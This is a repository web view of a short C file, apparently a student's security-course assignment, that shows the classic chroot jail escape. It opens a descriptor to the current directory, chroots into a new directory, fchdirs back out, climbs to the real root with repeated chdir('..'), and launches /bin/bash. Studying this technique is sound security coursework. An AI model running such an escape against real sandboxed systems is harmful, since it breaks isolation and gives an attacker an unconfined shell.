aboutsummaryrefslogtreecommitdiff
path: root/CamilStaps-s4498062-Assignment-6/ex1.c
blob: 0ce1505aba72218da5769e022d7a7b9296061bff (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <fcntl.h>
#include <stdio.h>

int main(void) {
        int cwdf, x;

        mkdir("crowbardir", 0755);

        cwdf = open(".", O_RDONLY);

        chroot("crowbardir");

        fchdir(cwdf);
        close(cwdf);

        for (x=0; x<1024; x++)
                chdir("..");

        chroot(".");

        system("/bin/bash");
}